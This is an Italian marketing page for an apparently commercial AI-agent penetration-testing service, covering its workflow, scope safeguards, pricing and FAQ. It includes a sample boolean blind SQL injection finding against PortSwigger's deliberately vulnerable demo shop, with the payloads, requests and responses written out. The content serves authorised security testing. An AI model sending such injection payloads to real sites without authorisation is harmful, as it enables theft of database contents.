Scopri dove un attaccante può bucare la tua app

Agenti AI attaccano la tua web app con gli stessi strumenti che usano gli attaccanti veri. Se gli dai un account di test, entrano e provano tutto quello che può fare un utente loggato. Per ogni vulnerabilità hai le richieste e le risposte che la provano, e come correggerla.

Parte in pochi minuti. Senza abbonamento e senza dover parlare con un commerciale.

Auth
Recon

18m remaining

Live operations
Orchestrator

Initializing pentest session...

Controlling
È la pagina che vedi durante un test vero, con i momenti salienti di un nostro test su ginandjuice.shop, un negozio che PortSwigger ha messo online apposta per farsi attaccare. Accelerato a meno di un minuto. Clicca su un agente per leggere il suo log.

Un test sullo stesso negozio di prova

Durata
30 min
di agenti al lavoro
Vulnerabilità
9
vulnerabilità trovate
Tempo per la prima vulnerabilità
Circa 2 min
per la prima vulnerabilità

Perché ora

Un pentest a ogni release, non una volta l'anno

Un pentest tradizionale va prenotato settimane prima e alla fine ti lascia un PDF. Tu rilasci ogni giorno, quindi alla release dopo quel PDF è già vecchio. Con AttackerView puoi fare un pentest a ogni release.

ConfrontoPentest tradizionaleAttackerView
Per partireSettimane di attesaPochi minuti: aggiungi la tua app e via
RisultatiUn PDF alla fineLe vulnerabilità compaiono mentre gli agenti lavorano
Alla release successivaLo riprenotiLo rilanci. Le vulnerabilità già note si aggiornano, e se un bug ricompare te lo segnaliamo.

Lo usano già i team di queste aziende

Come funziona

Dalla registrazione al pentest in pochi minuti

Niente call di scoping, niente contratti. Lo configuri tu e lo guardi lavorare.

  1. 1

    Aggiungi la tua app

    Accedi e aggiungi la tua app. Se aggiungi un account di test, gli agenti entrano con quello e provano tutto ciò a cui ha accesso.

  2. 2

    Scegli quanto dura

    30 minuti, 90 minuti o 4 ore di agenti che attaccano la tua app.

  3. 3

    Guardalo lavorare

    Fino a cinque agenti mappano la tua app e la attaccano con curl, sqlmap, ffuf e un browser vero. Le vulnerabilità compaiono mentre il test è ancora in corso, e puoi leggere il log di ogni agente.

Lavoro di squadra

Gli agenti si passano le dritte

Quando un agente nota qualcosa che vale la pena approfondire in un'altra parte della tua app, il primo agente libero ci si mette subito.

1

Un agente si segna quello che nota

Ogni agente lavora su una parte della tua app. Strada facendo si segna tutto quello che può servire: com'è fatta l'app, cosa sembra debole e dove guardare dopo.

POST|/catalog/product/stock
note_observation
  • Architecture Stock check posts an XML document
  • Weakness Parser resolves external entities
  • Lead Search results echo searchTerm GET /catalog high

Categories: Lead, Weakness, Architecture, Defense, Credential

2

Una dritta diventa subito il prossimo lavoro

Se una nota punta a un'altra parte della tua app che rientra nel perimetro, finisce subito nella coda condivisa. Il primo agente libero la prende. Nessuno aspetta la fine di un giro.

Queue by priority
  • high GET|/catalog claimed
  • medium GET|/my-account/orders
  • low GET|/blog

Una voce per operazione: le dritte su /catalog?category= e /catalog?searchTerm= contano una volta sola.

Active (5/5 slots)
  • POST|/login
  • GET|/blog/post
  • POST|/catalog/product/stock
  • GET|/catalog/product
  • GET|/catalog new agent
Come gli agenti si passano quello che scoprono, su ginandjuice.shop. Passo 1: l'agente che lavora su POST /catalog/product/stock si segna una nota Architecture, una nota Weakness e una Lead su GET /catalog. Passo 2: la dritta entra nella coda condivisa, che tiene una voce per operazione in ordine di priorità, e il primo dei cinque posti che si libera la prende come nuovo agente.

Cosa ricevi

Ogni vulnerabilità con le richieste che la provano

Prima di arrivare a te, ogni vulnerabilità viene controllata sulle richieste e sulle risposte che l'agente ha registrato davvero, e quello che non sta in piedi viene scartato. Per ognuna hai le richieste esatte, la gravità CVSS, l'impatto e come correggerla. Questa SQL injection viene da un test sul negozio di prova: l'agente ha fatto sparire e ricomparire l'elenco dei prodotti con due coppie di condizioni vero/falso, e puoi rifare le stesse richieste anche tu.

SQL injection in the catalog category filter

Verified on this target

The baseline and true/false responses were checked for the marker.

Assessment details

The recorded test demonstrates the finding on this target.

Severity (CVSS)

8.7 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Assessed for this target

Anyone can send the request without signing in, and the injected condition decides what the database returns.

Explanation

The category parameter of GET /catalog is placed into a SQL query without parameterisation. Appending a condition to the category changes which rows the database returns.

Prerequisites

Confirmed on this target: the catalog is public, so no account is needed.

PoC

  1. Request the catalog for a real category and note that Hibiscus Gin is listed.
  2. Append a true condition, ' AND 7=7-- , and the same product is listed.
  3. Append a false condition, ' AND 7=8-- , and the listing is empty, with the same 200 status.
  4. Repeat with a second integer (13=13 and 13=14) to rule out chance.

Evidence

Five requests to the same operation, differing only in the category value. See the evidence of record below.

Impact

Anyone, without an account, can pull data out of the shop's database by asking it yes/no questions through the category filter.

Remediation

Use a parameterised query for the category filter, and reject category values that are not in the known list.

Evidence of record

  • baselineId · r1 · req-baseline
    Request
    GET https://ginandjuice.shop/catalog?category=Gin
    Response
    HTTP 200 OK
    Content-Type: text/html; charset=utf-8
    
    <h3>Hibiscus Gin</h3> <p>Floral, bright, a little tart.</p> <span class="price">$19.30</span> …
  • pairs[0].trueId · r2 · req-true-1
    Request
    GET https://ginandjuice.shop/catalog?category=Gin'%20AND%207%3D7--%20
    Response
    HTTP 200 OK
    Content-Type: text/html; charset=utf-8
    
    <h3>Hibiscus Gin</h3> <p>Floral, bright, a little tart.</p> <span class="price">$19.30</span> …
  • pairs[0].falseId · r3 · req-false-1
    Request
    GET https://ginandjuice.shop/catalog?category=Gin'%20AND%207%3D8--%20
    Response
    HTTP 200 OK
    Content-Type: text/html; charset=utf-8
    
    <section class="products"></section> <p>No products in this category.</p>
  • pairs[1].trueId · r4 · req-true-2
    Request
    GET https://ginandjuice.shop/catalog?category=Gin'%20AND%2013%3D13--%20
    Response
    HTTP 200 OK
    Content-Type: text/html; charset=utf-8
    
    <h3>Hibiscus Gin</h3> <p>Floral, bright, a little tart.</p> <span class="price">$19.30</span> …
  • pairs[1].falseId · r5 · req-false-2
    Request
    GET https://ginandjuice.shop/catalog?category=Gin'%20AND%2013%3D14--%20
    Response
    HTTP 200 OK
    Content-Type: text/html; charset=utf-8
    
    <section class="products"></section> <p>No products in this category.</p>

Typed proof

Kind
sqli-boolean
Parameter
category
Marker
Hibiscus Gin
Baseline
r1
Pair 1
true r2 · false r3
Pair 2
true r4 · false r5

Observed effect

kind
typed-proof
version
1
signature
sqli-boolean
details
The baseline and true/false responses were checked for the marker.
outcome
{"parameter":"query:category","marker":"Hibiscus Gin","baseline":{"requestId":"req-baseline","markerPresent":true},"pairs":[{"trueRequestId":"req-true-1","falseRequestId":"req-false-1","trueMarkerPresent":true,"falseMarkerPresent":false},{"trueRequestId":"req-true-2","falseRequestId":"req-false-2","trueMarkerPresent":true,"falseMarkerPresent":false}]}

Derived severity metrics

  • PR=N: The attack requests carried no credential context.

Nei dati che salviamo, cookie, header di autenticazione e token sono mascherati. Guarda un report di esempio.

Sicuro di default

Decidi tu cosa possono toccare gli agenti

Di default gli agenti non mandano richieste POST, PUT, PATCH o DELETE, tranne per fare login con il tuo account di test. Attiva le modifiche ai dati solo se vuoi testare anche quelle. Le pagine di logout e i percorsi che escludi non vengono mai toccati, e gli agenti restano sulla tua app e sui suoi sottodomini.

Gli agenti possono raggiungere solo la tua app e i suoi sottodomini: ginandjuice.shop *.ginandjuice.shop
Richieste di esempio e cosa succede a ciascuna, in sola lettura e con le modifiche ai dati attive
RichiestaSola lettura (default)Modifiche ai dati attive
GET /catalog?category=Gin Passa Passa
GET /order/details Passa Passa
POST /catalog/cart Bloccata Passa
POST /catalog/product/stock Bloccata Passa
GET /logout

chiuderebbe la sessione

Bloccata Bloccata
GET /billing/invoices

sotto /billing, che hai escluso

Bloccata Bloccata
GET https://other-site.example/

non è il tuo dominio

Bloccata Bloccata

Gli agenti possono modificare i dati?

  • No: sola lettura (default) (selezionato)
  • Sì: possono creare, modificare e cancellare dati

In sola lettura le richieste POST, PUT, PATCH, DELETE e WebSocket vengono bloccate. Il login con il tuo account di test funziona comunque.

Percorsi esclusi

  • /logout
  • /signout
  • /billing

Questi percorsi, e tutto quello che c'è sotto, non vengono mai toccati, con qualsiasi metodo. /logout e /signout sono sempre esclusi. Il resto lo scegli tu.

Ogni richiesta degli agenti viene controllata prima di arrivare alla tua app. Le letture sulla tua app e sui suoi sottodomini passano. Le richieste POST, PUT, PATCH, DELETE e WebSocket vengono bloccate, a meno che tu non attivi le modifiche ai dati. /logout, /signout e i percorsi che escludi sono sempre bloccati. Ogni richiesta viene controllata con le tue impostazioni prima di arrivare alla tua app.

Prezzi

Paghi il singolo test, senza abbonamento

Scegli tu per quanto tempo lavorano gli agenti. Un'app più grande non costa di più.

TestDurataPrezzo
FocusedFino a 30 minuti€50 + IVA
StandardFino a 90 minuti€150 + IVA
DeepFino a 4 ore€400 + IVA
Pentest tradizionaleSettimane di attesaDa 10.000 € a 25.000 €

Se gli agenti non arrivano mai a testare la tua app, o se qualcosa va storto da parte nostra, ti rimborsiamo tutto, IVA compresa.

Domande

Prima di iniziare

Che differenza c'è con uno scanner di vulnerabilità?

Uno scanner fa una lista fissa di controlli. Gli agenti invece esplorano la tua app come farebbe un utente, anche da loggati se gli dai un account di test, e vanno a fondo su quello che trovano con sqlmap, ffuf, curl e un browser vero. Per ogni vulnerabilità hai le richieste e le risposte che la provano.

Che vulnerabilità trova?

SQL injection, XSS, XXE, SSRF, path traversal, command injection, template injection, CSRF e problemi di controllo degli accessi, per esempio dati che chiunque può leggere senza fare login.

È sicuro lanciarlo in produzione?

Di default il test è in sola lettura: niente richieste POST, PUT, PATCH o DELETE, tranne il login con il tuo account di test. Tutti gli agenti insieme stanno sotto le 600 richieste al minuto, e rallentano appena il tuo server risponde 429 o 503.

Può testare le pagine dietro login?

Sì. Gli dai un account di test, gli agenti entrano con quello e provano tutto ciò a cui quell'account ha accesso.

Scopri cosa trovano gli agenti nella tua app